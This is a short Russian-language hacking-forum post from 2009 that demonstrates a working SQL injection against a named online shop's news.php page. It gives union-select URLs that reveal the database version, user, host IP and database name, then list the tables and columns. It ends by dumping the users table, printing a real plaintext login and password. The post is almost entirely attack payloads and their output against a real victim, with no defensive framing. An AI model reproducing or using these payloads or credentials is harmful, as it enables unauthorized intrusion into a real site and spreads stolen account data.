24.02.2009, 21:31
|
|
Познающий
Регистрация: 28.08.2008
Сообщений: 39
С нами:
9316980
Репутация:
12
|
|
www.pioneer-spb.ru
Код:
http://www.pioneer-spb.ru/news.php?id=-17+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6/*
Версия - 5.0.32-Debian_7etch6-log
Юзер - z34747_3@77.221.130.25
БД - z34747_3
Код:
http://www.pioneer-spb.ru/news.php?id=-17+union+select+1,2,3,concat_ws(0x3a,table_name,column_name),5,6+from+information_schema.columns+limit+340,1/*
Вывод табличек и колонок
Код:
http://www.pioneer-spb.ru/news.php?id=-17+union+select+1,2,3,concat_ws(0x3a,login,pass,name,stat,pri),5,6+from+users+limit+2,1/*
Вывод юзеров
login:pass:name
pioneer:liteon:Магазин Pioneer
и т.д. по лимиту
|
|
|